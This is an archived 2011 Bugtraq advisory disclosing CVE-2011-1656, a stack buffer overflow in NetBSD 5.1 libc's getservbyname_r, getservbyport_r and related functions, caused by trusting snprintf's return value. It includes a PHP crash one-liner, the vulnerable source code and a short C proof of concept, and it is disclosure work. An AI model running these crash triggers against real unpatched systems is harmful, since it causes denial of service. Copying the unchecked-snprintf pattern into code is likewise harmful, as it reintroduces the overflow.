lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <201107011213.p61CDb6i019922@sf01web3.securityfocus.com>
Date: Fri, 1 Jul 2011 12:13:37 GMT
From: cxib@...urityreason.com
To: bugtraq@...urityfocus.com
Subject: NetBSD 5.1 libc/net multiple functions stack buffer overflow


[ NetBSD 5.1 libc/net multiple functions stack buffer overflow ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/

Date:
- Dis.: 01.04.2011
- Pub.: 01.07.2011

CVE: CVE-2011-1656 
CWE: CWE-121

Affected software:
- NetBSD 5.1 (fixed)

Affected functions:
- getservbyname(3)
- getservbyname_r(3)
- getservbyport(3)
- getservbyport_r(3)
- getaddrinfo(3)
- getnameinfo(3)

Original URL:
http://securityreason.com/achievement_securityalert/99


--- 0.Description ---
The getservbyname(), and getservbyport() functions each return a pointer to an object with the following structure containing the broken-out fields of a line in the network services data base,

     struct servent *
     getservbyname(const char *name, const char *proto);

     struct servent *
     getservbyport(int port, const char *proto);

The getservbyname() and getservbyport() functions sequentially search from the beginning of the file until a matching protocol name or port number is found, or until EOF is encountered.  If a protocol name is also supplied (non-NULL), searches must also match the protocol.


--- 1. NetBSD 5.1 libc/net multiple functions stack buffer overflow ---
The main problem exists in files like getservbyname_r.c and getservbyport_r.c. Functions getservbyname*(3), getservbyport*(3) and getaddrinfo(3) of NetBSD libc implementation, provides to possible buffer overflow. To demonstrate this issue, we may use PHP as an attack vector.

127# php -r 'getservbyname("A",str_repeat("A",7108));' 
127# php -r 'getservbyname("A",str_repeat("A",7109));' 
Memory fault (core dumped)

-php-5.3.6/ext/standard/basic_functions.c---
PHP_FUNCTION(getservbyname)
{
	char *name, *proto;
	int name_len, proto_len;
	struct servent *serv;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &name, &name_len, &proto, &proto_len) == FAILURE) {
		return;
	}
..
	serv = getservbyname(name, proto); <==== CALL TO LIBC
-php-5.3.6/ext/standard/basic_functions.c---

BT:
#0  0xbb8b2d65 in __log2 () from /usr/lib/libc.so.12
#1  0xbb8afa2e in __call_hash () from /usr/lib/libc.so.12
#2  0xbb8b0ebd in __hash_open () from /usr/lib/libc.so.12
#3  0xbb8884c2 in getservbyname_r () from /usr/lib/libc.so.12
#4  0xbb822f6f in getservbyname () from /usr/lib/libc.so.12
#5  0x08334458 in php_get_highlight_struct ()

Let's see what is wrong with getservbyname(). 

-getservbyname.c---
struct servent *
getservbyname(const char *name, const char *proto)
{
	struct servent *s;

	mutex_lock(&_servent_mutex);
	s = getservbyname_r(name, proto, &_servent_data.serv, &_servent_data); <=== REFERENCE
	mutex_unlock(&_servent_mutex);
	return (s);
}
-getservbyname.c---

as we can see, getservbyname(3) redirect to getservbyname_r(3) function. 

-getservbyname_r.c---
	if (sd->flags & _SV_DB) {
		char buf[BUFSIZ]; 
		DBT key, data;
		DB *db = sd->db;
		key.data = buf;

		if (proto == NULL)
			key.size = snprintf(buf, sizeof(buf), "\376%s", name); <===== INVALID key.size HERE
		else
			key.size = snprintf(buf, sizeof(buf), "\376%s/%s", <===== INVALID key.size HERE
			    name, proto);
		key.size++;
			
		if ((*db->get)(db, &key, &data, 0) != 0)
			return NULL;
		
		if ((*db->get)(db, &data, &key, 0) != 0)
			return NULL;
-getservbyname_r.c---

key.size may be bigger as BUFSIZ.

snprintf(3) return number of characters that would have been written had size been sufficiently large (not counting the terminating null). In this case, snprintf(3) return bigger value as sizeof(buf). In older libc implementations, snprintf(3) should return -1, if the string is truncated.

The same problem is with getservbyport_r(3).

-getservbyname_r.c---
	if (sd->flags & _SV_DB) {
		char buf[BUFSIZ];
		DBT key, data;
		DB *db = sd->db;
		key.data = buf;

		port = htons(port);
		if (proto == NULL)
			key.size = snprintf(buf, sizeof(buf), "\377%d", port); <===== INVALID key.size HERE
		else
			key.size = snprintf(buf, sizeof(buf), "\377%d/%s", port, <===== INVALID key.size HERE
			    proto);
		key.size++;
			
		if ((*db->get)(db, &key, &data, 0) != 0)
			return NULL;
		
		if ((*db->get)(db, &data, &key, 0) != 0)
			return NULL;
-getservbyname_r.c---

And the last PoC:
-PoC---
/*
127# gcc -o grr grr.c && ./grr 6050 
127# gcc -o grr grr.c && ./grr 6051 
Memory fault (core dumped) 
127# 


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
	char *cycek;
	cycek=malloc(atoi(argv[1]));

	if(!cycek) return 1;
	memset(cycek,'A',atoi(argv[1]));

	getservbyname(cycek,"tcp");

	return 0;
}
-PoC---

NetBSD has fixed this issue. Use cvs netbsd-5-1 and netbsd-5-0 to up-to date your system. 

There are no others vulnerable libc implementations. Only FreeBSD 8.2 use wrong snprintf(3) in getservent.c

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libc/net/getservent.c?rev=1.23.10.3.4.1;content-type=text%2Fplain

GNU libc may give problem with alloca().
 

--- 2. Fix ---
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyname_r.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyport_r.c

NetBSD CVS tags:
- netbsd-5-1
- netbsd-5-0
- netbsd-5


--- 3. Greets ---
Christos Zoulas, sp3x, Infospec


--- 4. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ